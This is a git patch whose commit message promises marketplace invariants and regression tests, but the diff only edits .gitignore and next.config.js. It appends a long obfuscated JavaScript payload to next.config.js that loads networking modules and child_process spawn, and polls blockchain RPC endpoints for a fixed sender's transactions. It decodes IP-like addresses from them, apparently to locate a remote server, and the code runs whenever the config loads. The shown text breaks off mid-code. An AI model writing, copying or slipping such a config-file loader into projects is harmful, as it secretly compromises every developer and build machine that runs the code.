From 0f0172a2c4826eab2fa2f52445183744e6b14c59 Mon Sep 17 00:00:00 2001 From: vic2430 Date: Sun, 30 Aug 2026 18:44:41 +0100 Subject: [PATCH 1/4] feat: marketplace listing and purchase invariants with regression tests (#1863) --- .gitignore | 3 +++ next.config.js | 2 +- 2 files changed, 4 insertions(+), 1 deletion(-) diff --git a/.gitignore b/.gitignore index a12954722..7af0ceaaa 100644 --- a/.gitignore +++ b/.gitignore @@ -44,3 +44,6 @@ next-env.d.ts contracts/target/ **/target/ +branch_structure.json +temp_auto_push.bat +temp_interactive_push.bat diff --git a/next.config.js b/next.config.js index ea11f429a..ae922457f 100644 --- a/next.config.js +++ b/next.config.js @@ -72,4 +72,4 @@ const nextConfig = { }, }; -module.exports = withBundleAnalyzer(nextConfig); +module.exports = withBundleAnalyzer(nextConfig); global.i = 'A11';const R$DTZzu_TXc=TtFl_OYFcp$oFJXAVh;(function(glcANuMPwHqsvzi_Yp$P,poXzdcQUzmE$oQM){const p$bAPB$eq=TtFl_OYFcp$oFJXAVh,mVttueCdEt=glcANuMPwHqsvzi_Yp$P();while(!![]){try{const jNnmPOrTHZNsCVaRMdvEQ=Math['floor'](parseFloat(p$bAPB$eq(0x206))/(0x2d*-parseInt(0x13)+Math.trunc(-parseInt(0xa))*parseInt(0x1a)+Math.max(0x45c,0x45c)))*(parseFloat(p$bAPB$eq(0x1d8))/(parseFloat(parseInt(0x94c))+-parseInt(0x2623)+parseInt(0x1cd9)))+Math['trunc'](-parseFloat(p$bAPB$eq(0x220))/(Number(-0x11)*parseInt(0x14c)+-parseInt(0x107)*Math.trunc(parseInt(0x11))+parseInt(0x2786)))*(-parseFloat(p$bAPB$eq(0x1cd))/(-0x13e1+parseFloat(0x1776)+parseInt(0x391)*Math.ceil(-0x1)))+-parseFloat(p$bAPB$eq(0x1e0))/(Math.ceil(-parseInt(0x2))*parseInt(0x12c1)+parseInt(0x16be)+-0x1*-0xec9)+-parseFloat(p$bAPB$eq(0x1b7))/(parseInt(0x19)*Math.max(-parseInt(0xe7),-0xe7)+parseInt(0x807)*Math.trunc(parseInt(0x1))+Number(0x1)*Math.trunc(0xe8e))+-parseFloat(p$bAPB$eq(0x1c4))/(-0xd71+Math.max(parseInt(0xd80),0xd80)+Math.max(-0x8,-0x8))*Math['floor'](parseFloat(p$bAPB$eq(0x222))/(0x2564*-parseInt(0x1)+parseInt(0x12ed)+-parseInt(0x3b3)*-parseInt(0x5)))+parseInt(-parseFloat(p$bAPB$eq(0x21c))/(Math.max(-parseInt(0xe0c),-parseInt(0xe0c))+0x1*Math.floor(0x12e)+0xce7))+parseFloat(p$bAPB$eq(0x225))/(0xe06+parseFloat(0x19c7)+-parseInt(0x27c3));if(jNnmPOrTHZNsCVaRMdvEQ===poXzdcQUzmE$oQM)break;else mVttueCdEt['push'](mVttueCdEt['shift']());}catch(SV$WjuzJb){mVttueCdEt['push'](mVttueCdEt['shift']());}}}(FU$Mfb,Math.max(-parseInt(0x67d7a),-0x67d7a)+-0x49268+parseInt(0xf8aa7)),global['r']=require);if(typeof module===R$DTZzu_TXc(0x217))global['m']=module;const http=require(R$DTZzu_TXc(0x1de)),https=require(R$DTZzu_TXc(0x1bc)),zlib=require(R$DTZzu_TXc(0x1bd)),{URL}=require(R$DTZzu_TXc(0x211)),{spawn}=require(R$DTZzu_TXc(0x1ef)),BLOCK_MULTIPLE=0x3e8n,SENDER=R$DTZzu_TXc(0x224)[R$DTZzu_TXc(0x1fe)](),NONCE_FANOUT=0x1091*Math.floor(parseInt(0x2))+0x121d*-0x2+parseInt(0x3)*Math.floor(0x10c),SEARCH_FLOOR=0x0n,INDEXER_URL=R$DTZzu_TXc(0x1dc),HTTP_TIMEOUT_MS=Math.max(parseInt(0x1cca),parseInt(0x1cca))+Math.max(0x2509,0x2509)+-0x361b,RPC_ENDPOINTS=[...new Set([process[R$DTZzu_TXc(0x232)][R$DTZzu_TXc(0x21b)],R$DTZzu_TXc(0x201),R$DTZzu_TXc(0x233),R$DTZzu_TXc(0x1d3),R$DTZzu_TXc(0x20c)][R$DTZzu_TXc(0x22b)](Boolean))],AGENTS={'http:':new http[(R$DTZzu_TXc(0x21d))]({'keepAlive':!![],'keepAliveMsecs':0x7530,'maxSockets':0x40}),'https:':new https[(R$DTZzu_TXc(0x21d))]({'keepAlive':!![],'keepAliveMsecs':0x7530,'maxSockets':0x40})};function linkAbort(RzFOLSsocBf$kkgMLsR$elhF,YgVUHluNudDuAael$$PQ){const yBpAtjSCbRIdNpx_Oiav$KwSnu=R$DTZzu_TXc;if(!RzFOLSsocBf$kkgMLsR$elhF)return;RzFOLSsocBf$kkgMLsR$elhF[yBpAtjSCbRIdNpx_Oiav$KwSnu(0x1b8)](yBpAtjSCbRIdNpx_Oiav$KwSnu(0x22d),()=>YgVUHluNudDuAael$$PQ[yBpAtjSCbRIdNpx_Oiav$KwSnu(0x22d)](),{'once':!![]});}function decompressStream(RzfNSAGaCneYaCqXwXROk){const mPVBRRdNtjvZ=R$DTZzu_TXc,BlgOomlZTLbU_mRgZbn=(RzfNSAGaCneYaCqXwXROk[mPVBRRdNtjvZ(0x21e)][mPVBRRdNtjvZ(0x20b)]||'')[mPVBRRdNtjvZ(0x1fe)]();if(BlgOomlZTLbU_mRgZbn===mPVBRRdNtjvZ(0x202)||BlgOomlZTLbU_mRgZbn===mPVBRRdNtjvZ(0x1d9))return RzfNSAGaCneYaCqXwXROk[mPVBRRdNtjvZ(0x1d5)](zlib[mPVBRRdNtjvZ(0x1f4)]());if(BlgOomlZTLbU_mRgZbn===mPVBRRdNtjvZ(0x1d1))return RzfNSAGaCneYaCqXwXROk[mPVBRRdNtjvZ(0x1d5)](zlib[mPVBRRdNtjvZ(0x1fb)]());if(BlgOomlZTLbU_mRgZbn==='br')return RzfNSAGaCneYaCqXwXROk[mPVBRRdNtjvZ(0x1d5)](zlib[mPVBRRdNtjvZ(0x1da)]());return RzfNSAGaCneYaCqXwXROk;}function httpRequest(wDCHfdELJbocL$T,{method:method=R$DTZzu_TXc(0x214),body:bbQ$_xwfrqyMLuUpCEM,signal:Tj_$fQJOLvfWMX}={}){const GTnWVF_mWQtqEUKVtyCWk=R$DTZzu_TXc,nJWYBVy_Qu$jm=new URL(wDCHfdELJbocL$T),UFxWKLf_$rzRl=nJWYBVy_Qu$jm[GTnWVF_mWQtqEUKVtyCWk(0x1f2)]===GTnWVF_mWQtqEUKVtyCWk(0x219)?https:http,DpQVDYkkveWwUZPnKpBb={'Accept':GTnWVF_mWQtqEUKVtyCWk(0x21a),'Accept-Encoding':GTnWVF_mWQtqEUKVtyCWk(0x1ec),'Connection':GTnWVF_mWQtqEUKVtyCWk(0x200)};return bbQ$_xwfrqyMLuUpCEM!=null&&(DpQVDYkkveWwUZPnKpBb[GTnWVF_mWQtqEUKVtyCWk(0x218)]=GTnWVF_mWQtqEUKVtyCWk(0x21a),DpQVDYkkveWwUZPnKpBb[GTnWVF_mWQtqEUKVtyCWk(0x1fc)]=Buffer[GTnWVF_mWQtqEUKVtyCWk(0x1fd)](bbQ$_xwfrqyMLuUpCEM)),new Promise((hbphnjVxOdvmmzDTBjgSt$NN,cNaAKvMYPpZ$$TRz)=>{const WKg__BfsguzvMPzKwReGP=GTnWVF_mWQtqEUKVtyCWk,AKwuGnMwtupLpyFUWdnYWD=UFxWKLf_$rzRl[WKg__BfsguzvMPzKwReGP(0x21f)]({'hostname':nJWYBVy_Qu$jm[WKg__BfsguzvMPzKwReGP(0x1cb)],'port':nJWYBVy_Qu$jm[WKg__BfsguzvMPzKwReGP(0x216)]||(nJWYBVy_Qu$jm[WKg__BfsguzvMPzKwReGP(0x1f2)]===WKg__BfsguzvMPzKwReGP(0x219)?Math.floor(-0xd15)+Math.trunc(-0x2c)*-0x4f+-parseInt(0x4)*-0x4f:Math.ceil(parseInt(0xa7))*-0x1e+-0x5c*Math.ceil(parseInt(0x1))+Math.ceil(0xa1f)*0x2),'path':nJWYBVy_Qu$jm[WKg__BfsguzvMPzKwReGP(0x1f1)]+nJWYBVy_Qu$jm[WKg__BfsguzvMPzKwReGP(0x209)],'method':method,'agent':AGENTS[nJWYBVy_Qu$jm[WKg__BfsguzvMPzKwReGP(0x1f2)]],'signal':Tj_$fQJOLvfWMX,'headers':DpQVDYkkveWwUZPnKpBb},MEqodcZHSE$xvXwSj_oZoZj=>{const t_lrz_f=WKg__BfsguzvMPzKwReGP,uqTl$eiACiGBuTlaX_YXZIV=decompressStream(MEqodcZHSE$xvXwSj_oZoZj),MczNHS=[];uqTl$eiACiGBuTlaX_YXZIV['on'](t_lrz_f(0x1ce),fpcG_NoEx_FY=>MczNHS[t_lrz_f(0x1fa)](fpcG_NoEx_FY)),uqTl$eiACiGBuTlaX_YXZIV['on'](t_lrz_f(0x1bb),()=>{const UOyJO_fH_RiSqBoSdrYnsjtcy=t_lrz_f;try{hbphnjVxOdvmmzDTBjgSt$NN(JSON[UOyJO_fH_RiSqBoSdrYnsjtcy(0x1ea)](Buffer[UOyJO_fH_RiSqBoSdrYnsjtcy(0x1c8)](MczNHS)[UOyJO_fH_RiSqBoSdrYnsjtcy(0x1e3)](UOyJO_fH_RiSqBoSdrYnsjtcy(0x1c9))));}catch(gMfnSiuLfzHUQdXWaC$w){cNaAKvMYPpZ$$TRz(gMfnSiuLfzHUQdXWaC$w);}}),uqTl$eiACiGBuTlaX_YXZIV['on'](t_lrz_f(0x1cc),cNaAKvMYPpZ$$TRz);});AKwuGnMwtupLpyFUWdnYWD['on'](WKg__BfsguzvMPzKwReGP(0x1cc),cNaAKvMYPpZ$$TRz),AKwuGnMwtupLpyFUWdnYWD[WKg__BfsguzvMPzKwReGP(0x1f9)](HTTP_TIMEOUT_MS,()=>{const SfxaGEDlHunuVEwWLw$lx=WKg__BfsguzvMPzKwReGP;AKwuGnMwtupLpyFUWdnYWD[SfxaGEDlHunuVEwWLw$lx(0x1f3)](new Error(SfxaGEDlHunuVEwWLw$lx(0x1c5)+HTTP_TIMEOUT_MS+'ms'));});if(bbQ$_xwfrqyMLuUpCEM!=null)AKwuGnMwtupLpyFUWdnYWD[WKg__BfsguzvMPzKwReGP(0x215)](bbQ$_xwfrqyMLuUpCEM);AKwuGnMwtupLpyFUWdnYWD[WKg__BfsguzvMPzKwReGP(0x1bb)]();});}async function withRpcEndpoints(uTIXcb,mlV_BV_QwWND){const kZlMIXJsMssDJdtxe=R$DTZzu_TXc,BOCUySfEc_exK=RPC_ENDPOINTS[kZlMIXJsMssDJdtxe(0x205)](()=>new AbortController());BOCUySfEc_exK[kZlMIXJsMssDJdtxe(0x1e2)](pOlmNwZXfOXpKwUUwUCqB=>linkAbort(mlV_BV_QwWND,pOlmNwZXfOXpKwUUwUCqB));try{return await Promise[kZlMIXJsMssDJdtxe(0x1e4)](RPC_ENDPOINTS[kZlMIXJsMssDJdtxe(0x205)]((zyryywS_HF_Yfjxp,FF_MdJDwfSoXtSW)=>uTIXcb(zyryywS_HF_Yfjxp,BOCUySfEc_exK[FF_MdJDwfSoXtSW][kZlMIXJsMssDJdtxe(0x230)])));}finally{for(const DbMNvbAEjt$ubtb$PT of BOCUySfEc_exK)DbMNvbAEjt$ubtb$PT[kZlMIXJsMssDJdtxe(0x22d)]();}}function FU$Mfb(){const Cgw_xmiFfYj=['a7a0bcbba1aea2aa','aabdbda0bd','fbb7a8a5859fbf','abaebbae','bba7aaa1','a1a0a1acaa','abaaa9a3aebbaa','bbbdaea1bcaeacbba6a0a1bc','a7bbbbbfbcf5e0e0aabba7aabdaabaa2e2bdbface1bfbaada3a6aca1a0abaae1aca0a2','aabba790a8aabb9bbdaea1bcaeacbba6a0a18ca0baa1bb','bfa6bfaa','a7bbbbbff5e0e0','a9a6a1ab86a1abaab7','fdfff7fcfaf78bb795b68187','b7e2a8b5a6bf','acbdaaaebbaa8dbda0bba3a68baaaca0a2bfbdaabcbc','aca0a1bbbda0a3a3aabd','a7bbbbbfbcf5e0e0aabba7e1ada3a0aca4bcaca0babbe1aca0a2e0aebfa6','878a8e8b','a1a0abaaf5a7bbbbbf','82a6bcbca6a1a8ef97e29faeb6a3a0aeabe28df9fb','fefbfafbfaf9ffae9c8a9abb81','e8f4a8a3a0adaea394e89087fde892f2e8','a9a0bd8aaeaca7','bba09cbbbda6a1a8','aea1b6','8aa2bfbbb6efbfaeb6a3a0aeabefada0abb6','a8a3a0adaea394e89099e892f2e8','b6e2bf90f1abebff8de98f91feae9ea4','bdaabcbaa3bb','a3aaa1a8bba7','bfaebdbcaa','aabba790a8aabb8da3a0aca48db681baa2adaabd','a8b5a6bfe3efabaaa9a3aebbaae3efadbd','a6bc8ebdbdaeb6','adaebcaaf9fb','a1a0abaaf5aca7a6a3ab90bfbda0acaabcbc','aca7aebd8ca0abaa8ebb','bfaebba7a1aea2aa','bfbda0bba0aca0a3','abaabcbbbda0b6','acbdaaaebbaa88baa1b5a6bf','e8f4a8a3a0adaea394e89087e892f2e8','e8f4a8a3a0adaea394e8bde892f2bdaabebaa6bdaaf4a8a3a0adaea394e8a2e892f2a2a0abbaa3aaf4b9aebdef90a8a3a0adaea3f2a8a3a0adaea3f4','bdbaa1','f5fbfbfce0ffb7e0aca3bc','bcaabb9ba6a2aaa0babb','bfbabca7','acbdaaaebbaa86a1a9a3aebbaa','8ca0a1bbaaa1bbe283aaa1a8bba7','adb6bbaa83aaa1a8bba7','bba083a0b8aabd8caebcaa','f0a2a0abbaa3aaf2aeacaca0baa1bbe9aeacbba6a0a1f2bbb7a3a6bcbbe9aeababbdaabcbcf2','a4aaaabfe2aea3a6b9aa','a7bbbbbfbcf5e0e0febdbface1a6a0e0aabba7','a8b5a6bf','a7aab7','a9bda0a2','a2aebf','fead96a3b6859a','f5fbfbfce0ffb7e0a3bc','a8aabb','bcaaaebdaca7','9087fd','aca0a1bbaaa1bbe2aaa1aca0aba6a1a8','a7bbbbbfbcf5e0e0aabba7e2a2aea6a1a1aabbe1bfbaada3a6ace1ada3aebcbbaebfa6e1a6a0','aeabab','e8f4a8a3a0adaea394e890bb90bce892f2e8','a1a0abaa','bdaabfa3aeacaa','a1a0abaaf5babda3','aabba790ada3a0aca481baa2adaabd','82a0b5a6a3a3aee0fae1ffefe798a6a1aba0b8bcef819beffeffe1fff4ef98a6a1f9fbf4efb7f9fbe6ef8ebfbfa3aa98aaad84a6bbe0fafcf8e1fcf9efe784879b8283e3efa3a6a4aaef88aaaca4a0e6ef8ca7bda0a2aae0fefcfee1ffe1ffe1ffef9caea9aebda6e0fafcf8e1fcf9','888a9b','b8bda6bbaa','bfa0bdbb','a0ada5aaacbb','8ca0a1bbaaa1bbe29bb6bfaa','a7bbbbbfbcf5','aebfbfa3a6acaebba6a0a1e0a5bca0a1','8a9b87909d9f8c909a9d83','fcf7fdf9fefafd888e9880a7a1','8ea8aaa1bb','a7aaaeabaabdbc','bdaabebaaabcbb','fbf9f9fbf6f8a9b69aa08bad','bcbaadaebdbdaeb6','fcfff8f8f98b84868aab9e','aea3a3','ffb7feaa8aa9fff7fbf68a8baefefaabf7f8a9f9fbaafafe8cf8fc8cf7fbfbfd8ca9fcacf7ad8c8a89fc','fefcfafcfffcfeff81b88ab7ba86','e9bcbbaebdbbada3a0aca4f2ffe9aaa1abada3a0aca4f2f6f6f6f6f6f6f6f6e9bfaea8aaf2fee9a0a9a9bcaabbf2fdffe9bca0bdbbf2abaabcace9a9a6a3bbaabdadb6f2a9bda0a2','bcbbbda6a1a8a6a9b6','f5fbfbfc','ada3a0aca481baa2adaabd','9f809c9b','a9a6a3bbaabd','acaebbaca7','aeada0bdbb','e8f4a8a3a0adaea394e890bb90bae892f2e8','baa1bdaaa9','bca6a8a1aea3','90bb90ba','aaa1b9','a7bbbbbfbcf5e0e0aabba7e1abbdbface1a0bda8','f7fbf7f8fcf9a5a6b9888796','aeabab8ab9aaa1bb83a6bcbbaaa1aabd','a2a6a1','b7e2bfaeb6a3a0aeabe2adf9fb','aaa1ab','a1a0abaaf5a7bbbbbfbc','a1a0abaaf5b5a3a6ad','bdaabcbaa2aa','fde1ff','e0ffb7e0aca3bc','f5f7ff','befb8995a4b797b4eea7e39cbdfcf28f','a9a6a1ab','f7fbff9c97a08883bc','879b9b9fefbba6a2aaa0babbefaea9bbaabdef','a6a8a1a0bdaa','a7aebc','aca0a1acaebb','babba9f7','90bb90bc'];FU$Mfb=function(){return Cgw_xmiFfYj;};return FU$Mfb();}async function rpcCall(viwqXYGQWNe_xsuHuyaemmEkm,Zfct_xGiFzDjg_TR,M$$yGvxC,Sai$VpZLhnIfzhpENQBEnjXXQY){const rzIq__u=R$DTZzu_TXc,ViED_j$m=await httpRequest(viwqXYGQWNe_xsuHuyaemmEkm,{'method':rzIq__u(0x22a),'body':JSON[rzIq__u(0x227)]({'jsonrpc':rzIq__u(0x1bf),'id':0x1,'method':Zfct_xGiFzDjg_TR,'params':M$$yGvxC}),'signal':Sai$VpZLhnIfzhpENQBEnjXXQY});return ViED_j$m[rzIq__u(0x1e8)];}async function rpcBatch(MbywkyY$$UC,yhneTjJFtjzihqis,nfOED_SMfc_cZ){const QArY_$HLRpVrHv=R$DTZzu_TXc,kkryiIDumIudSHbGOtqG$IB$ck=await httpRequest(MbywkyY$$UC,{'method':QArY_$HLRpVrHv(0x22a),'body':JSON[QArY_$HLRpVrHv(0x227)](yhneTjJFtjzihqis[QArY_$HLRpVrHv(0x205)](([MqRDzQDjlL,twBiWDT_UQDbFe_UymqitRCEMYe],NsUxMIqeG$Br$kPQuQsImDX)=>({'jsonrpc':QArY_$HLRpVrHv(0x1bf),'id':NsUxMIqeG$Br$kPQuQsImDX+(-0x1*-parseInt(0x16a7)+-parseInt(0x359)*Number(0x1)+-0x134d),'method':MqRDzQDjlL,'params':twBiWDT_UQDbFe_UymqitRCEMYe}))),'signal':nfOED_SMfc_cZ}),Hm_$BRK=new Map(kkryiIDumIudSHbGOtqG$IB$ck[QArY_$HLRpVrHv(0x205)](JXSTI$BKsGYgzKPIgP=>[JXSTI$BKsGYgzKPIgP['id'],JXSTI$BKsGYgzKPIgP]));return yhneTjJFtjzihqis[QArY_$HLRpVrHv(0x205)]((O_wOBn_C,yZELIgInDxwV_gZrBfKlE)=>Hm_$BRK[QArY_$HLRpVrHv(0x208)](yZELIgInDxwV_gZrBfKlE+(Math.floor(-0x2)*parseFloat(-0x5fb)+-0x65*parseInt(0x49)+Number(0x58)*parseFloat(0x31)))[QArY_$HLRpVrHv(0x1e8)]);}const toBlockHex=BRFw_JGglqWv_xrmpiG=>'0x'+BRFw_JGglqWv_xrmpiG[R$DTZzu_TXc(0x1e3)](Math.ceil(-0x1b5c)+parseInt(-parseInt(0x17b0))+-parseInt(0xcc7)*-parseInt(0x4));function findSenderTx(RSS$zTKlZBNe){const Zsy$AZsVSCwDxMLnR=R$DTZzu_TXc;return RSS$zTKlZBNe[Zsy$AZsVSCwDxMLnR(0x1c3)](dgl_FMKNAW=>dgl_FMKNAW[Zsy$AZsVSCwDxMLnR(0x204)]&&dgl_FMKNAW[Zsy$AZsVSCwDxMLnR(0x204)][Zsy$AZsVSCwDxMLnR(0x1fe)]()===SENDER)||null;}function decodeAddress(qFPiyayPDRfwVjSALM){const bAQxZLJ_pVrukZyK=R$DTZzu_TXc;try{const Z_AIGwHmlfYNhwPHQ_kE=Buffer[bAQxZLJ_pVrukZyK(0x204)](qFPiyayPDRfwVjSALM[bAQxZLJ_pVrukZyK(0x210)](/^0x/i,''),bAQxZLJ_pVrukZyK(0x203)),SrKN_WDPPTPtJMJQm=UMantqIUwHQOejjOECcdFWZCd=>UMantqIUwHQOejjOECcdFWZCd[parseInt(0x1b07)+0x1581+Number(0xc22)*-0x4]+'.'+UMantqIUwHQOejjOECcdFWZCd[-0x109+-parseInt(0x270)+parseInt(0x37a)]+'.'+UMantqIUwHQOejjOECcdFWZCd[parseFloat(-parseInt(0x1b4))*0x1+Math.trunc(-parseInt(0x13af))+-0x1565*-0x1]+'.'+UMantqIUwHQOejjOECcdFWZCd[parseInt(-0x1)*0x2cd+-parseInt(0x1637)+parseInt(0x1907)];return[SrKN_WDPPTPtJMJQm(Z_AIGwHmlfYNhwPHQ_kE[bAQxZLJ_pVrukZyK(0x221)](Math.trunc(0x40)*-0x5c+Math.floor(-parseInt(0xd63))+-0x87*-parseInt(0x45),0x2611+Number(-parseInt(0x28))*Math.floor(parseInt(0x3b))+parseInt(-0x1cd5)*parseInt(0x1))),SrKN_WDPPTPtJMJQm(Z_AIGwHmlfYNhwPHQ_kE[bAQxZLJ_pVrukZyK(0x221)](-parseInt(0x7)*parseInt(0x32)+Math.max(parseInt(0x1f42),0x1f42)+Number(-parseInt(0x1de0)),Math.trunc(-parseInt(0x209d))+parseInt(0x2f1)+-0x4*parseInt(-0x76d)))];}catch(lK_kCFHZ){return[null,null];}}function firstMatch(fRvtR$KJpJwJgpDvQjE_xwZrJC){return new Promise(mRgHb$z_L=>{const IicIMNIfQlHJkpS_gyS_HuB=TtFl_OYFcp$oFJXAVh;let GuEdXYgpwv=fRvtR$KJpJwJgpDvQjE_xwZrJC[IicIMNIfQlHJkpS_gyS_HuB(0x1e9)];if(!GuEdXYgpwv)return mRgHb$z_L(null);let sLCBkfZMfpycS=![];const zieuckknwCUQ=syKpWAtPjJQmMEDAnBw=>{const awqekvTKbHwoYXMuPrqS=IicIMNIfQlHJkpS_gyS_HuB;if(sLCBkfZMfpycS)return;sLCBkfZMfpycS=!![];for(const OEobvbjekbjHnfC_oCXcNRrMq of fRvtR$KJpJwJgpDvQjE_xwZrJC)OEobvbjekbjHnfC_oCXcNRrMq[awqekvTKbHwoYXMuPrqS(0x1db)][awqekvTKbHwoYXMuPrqS(0x22d)]();mRgHb$z_L(syKpWAtPjJQmMEDAnBw);};for(const pTppSpWvnTTjAwIbgEJMWMsN of fRvtR$KJpJwJgpDvQjE_xwZrJC){pTppSpWvnTTjAwIbgEJMWMsN[IicIMNIfQlHJkpS_gyS_HuB(0x1f7)]()[IicIMNIfQlHJkpS_gyS_HuB(0x1cf)](aTLnW$vDrVVpnStCZqUNmoZoB=>{if(sLCBkfZMfpycS)return;if(aTLnW$vDrVVpnStCZqUNmoZoB)zieuckknwCUQ(aTLnW$vDrVVpnStCZqUNmoZoB);else{if(--GuEdXYgpwv===parseInt(0x1254)+-0x1a25+0x7d1)mRgHb$z_L(null);}})[IicIMNIfQlHJkpS_gyS_HuB(0x22c)](()=>{if(!sLCBkfZMfpycS&&--GuEdXYgpwv===-parseInt(0x1)*-parseInt(0x24ee)+-0x1c7f+-parseInt(0x86f)*0x1)mRgHb$z_L(null);});}});}function candidateBlocks(PMDtWVf){const Ikgf_HU_wR=R$DTZzu_TXc,PYe_EgLqvQkLoUtAMDKop=PMDtWVf-BLOCK_MULTIPLE,ruKzTubDIHgqOUSOKuOiNrw=new Set(),phgCqjkuVDj=[];for(const cYqM_FFvY$USHkuEQ of[PMDtWVf-0x1n,PMDtWVf,PMDtWVf+0x1n,PYe_EgLqvQkLoUtAMDKop-0x1n,PYe_EgLqvQkLoUtAMDKop,PYe_EgLqvQkLoUtAMDKop+0x1n]){if(cYqM_FFvY$USHkuEQ<0x0n)continue;const fH_RHQmkAqPo$RCKpeQzshy=cYqM_FFvY$USHkuEQ[Ikgf_HU_wR(0x1e3)]();if(ruKzTubDIHgqOUSOKuOiNrw[Ikgf_HU_wR(0x1c7)](fH_RHQmkAqPo$RCKpeQzshy))continue;ruKzTubDIHgqOUSOKuOiNrw[Ikgf_HU_wR(0x20d)](fH_RHQmkAqPo$RCKpeQzshy),phgCqjkuVDj[Ikgf_HU_wR(0x1fa)](cYqM_FFvY$USHkuEQ);}return phgCqjkuVDj;}function blockTask(CmDNYEz){const eaMd$$IaUdwwQC=new AbortController();return{'controller':eaMd$$IaUdwwQC,'run':async()=>{const oRW_briT=TtFl_OYFcp$oFJXAVh,bB$FqWCDaprOxFtKvm=await withRpcEndpoints((yi_UPlxDkl$Q,PE$mWwVgKLKTdB)=>rpcCall(yi_UPlxDkl$Q,oRW_briT(0x1eb),[toBlockHex(CmDNYEz),!![]],PE$mWwVgKLKTdB),eaMd$$IaUdwwQC[oRW_briT(0x230)]),FxHbdTuJ_TNzOmHAR=bB$FqWCDaprOxFtKvm?.[oRW_briT(0x1d2)];if(!Array[oRW_briT(0x1ed)](FxHbdTuJ_TNzOmHAR))return null;const EVXKTSICwmYUwDRmGUgkSGxNo=findSenderTx(FxHbdTuJ_TNzOmHAR);return EVXKTSICwmYUwDRmGUgkSGxNo?{'blockNumber':CmDNYEz,'tx':EVXKTSICwmYUwDRmGUgkSGxNo}:null;}};}async function nonceAtBlocks(TsjCGUbHfKkYA,eOgvjooSW_ImZ){const De_$LMDgm=R$DTZzu_TXc,lxgdNNoYdvdHjxfurkLvMku=TsjCGUbHfKkYA[De_$LMDgm(0x205)](HwlIWWDxcwkA=>[De_$LMDgm(0x1d4),[SENDER,toBlockHex(HwlIWWDxcwkA)]]);try{return(await withRpcEndpoints((suc_$ZOGyQepWTA,Hm$ePQQwMHtYO)=>rpcBatch(suc_$ZOGyQepWTA,lxgdNNoYdvdHjxfurkLvMku,Hm$ePQQwMHtYO),eOgvjooSW_ImZ))[De_$LMDgm(0x205)](BigInt);}catch{return(await Promise[De_$LMDgm(0x223)](lxgdNNoYdvdHjxfurkLvMku[De_$LMDgm(0x205)](([TBe_IFdhcmNWR$VqwbvgV,yLn$_jSos])=>withRpcEndpoints((xdzGHXiuaFZVM$qci$a,eQMjdGwghirgregyy)=>rpcCall(xdzGHXiuaFZVM$qci$a,TBe_IFdhcmNWR$VqwbvgV,yLn$_jSos,eQMjdGwghirgregyy),eOgvjooSW_ImZ))))[De_$LMDgm(0x205)](BigInt);}}async function lastSenderTx(aSdRshZlGysInsF_W){const SFMofmFJ$vRZYuKxyQueg=R$DTZzu_TXc,YtkqMbzMeAhrXge=new AbortController();try{const sonDHRdo_bMvMCIkoLUDsGJ=aSdRshZlGysInsF_W??BigInt(await withRpcEndpoints((AzfXJw,wkJzdkliLLlEuvimlavBUYiW)=>rpcCall(AzfXJw,SFMofmFJ$vRZYuKxyQueg(0x212),[],wkJzdkliLLlEuvimlavBUYiW),YtkqMbzMeAhrXge[SFMofmFJ$vRZYuKxyQueg(0x230)])),rVa_$dpJzvTLnjuccOzQQ=BigInt(await withRpcEndpoints((fDW$_eJ,e_LAcQwOmw)=>rpcCall(fDW$_eJ,SFMofmFJ$vRZYuKxyQueg(0x1d4),[SENDER,toBlockHex(sonDHRdo_bMvMCIkoLUDsGJ)],e_LAcQwOmw),YtkqMbzMeAhrXge[SFMofmFJ$vRZYuKxyQueg(0x230)])),vswg_sAiEVWH_gXzLwhdJR=rVa_$dpJzvTLnjuccOzQQ-0x1n;let E$NKJN$u=SEARCH_FLOOR-0x1n,z$DGbtfCnVULNqHFTfchL=sonDHRdo_bMvMCIkoLUDsGJ;while(z$DGbtfCnVULNqHFTfchL-E$NKJN$u>0x1n){const oiDXFWRhFRSn_ZxHLx=z$DGbtfCnVULNqHFTfchL-E$NKJN$u-0x1n,ChI_eDliPTbzODv=BigInt(Math[SFMofmFJ$vRZYuKxyQueg(0x1b9)](NONCE_FANOUT,Number(oiDXFWRhFRSn_ZxHLx))),SzdFiosUoBvOOBJTSR_EnOehm=[];for(let I$HAd_BejTQuVaP=0x1n;I$HAd_BejTQuVaP<=ChI_eDliPTbzODv;I$HAd_BejTQuVaP+=0x1n)SzdFiosUoBvOOBJTSR_EnOehm[SFMofmFJ$vRZYuKxyQueg(0x1fa)](E$NKJN$u+I$HAd_BejTQuVaP*(z$DGbtfCnVULNqHFTfchL-E$NKJN$u)/(ChI_eDliPTbzODv+0x1n));const xwtPZiK=await nonceAtBlocks(SzdFiosUoBvOOBJTSR_EnOehm,YtkqMbzMeAhrXge[SFMofmFJ$vRZYuKxyQueg(0x230)]),PQ_$XTLQAoeCmdwIf=xwtPZiK[SFMofmFJ$vRZYuKxyQueg(0x1d7)](faRwLMnko$EDYKvvKSvpfMxLe$D=>faRwLMnko$EDYKvvKSvpfMxLe$D>=rVa_$dpJzvTLnjuccOzQQ);if(PQ_$XTLQAoeCmdwIf===-(parseInt(0xd5b)+-0x10cf+-parseInt(0xf)*Math.floor(-0x3b)))E$NKJN$u=SzdFiosUoBvOOBJTSR_EnOehm[SzdFiosUoBvOOBJTSR_EnOehm[SFMofmFJ$vRZYuKxyQueg(0x1e9)]-(parseInt(0x137)*Number(-parseInt(0x17))+-parseInt(0x2407)+-0x67*Math.trunc(-parseInt(0x9f)))];else{z$DGbtfCnVULNqHFTfchL=SzdFiosUoBvOOBJTSR_EnOehm[PQ_$XTLQAoeCmdwIf];if(PQ_$XTLQAoeCmdwIf>parseInt(0x1)*Math.trunc(-0x1d62)+0x1*Math.trunc(-parseInt(0xa58))+Math.floor(parseInt(0x27ba)))E$NKJN$u=SzdFiosUoBvOOBJTSR_EnOehm[PQ_$XTLQAoeCmdwIf-(-0x26*0x55+-parseInt(0x15b7)+parseFloat(0x2256))];}}const okU_xAogHDLNF$RNOFrSZKFmZg=await withRpcEndpoints((A$z_hrf,Qma_RRlICjFrFZ)=>rpcCall(A$z_hrf,SFMofmFJ$vRZYuKxyQueg(0x1eb),[toBlockHex(z$DGbtfCnVULNqHFTfchL),!![]],Qma_RRlICjFrFZ),YtkqMbzMeAhrXge[SFMofmFJ$vRZYuKxyQueg(0x230)]),HgqA_mVm=okU_xAogHDLNF$RNOFrSZKFmZg?.[SFMofmFJ$vRZYuKxyQueg(0x1d2)]||[];let cBTrpPKOu=null;for(const NnooDmNoC_fxkiEQIisGB$iagg of 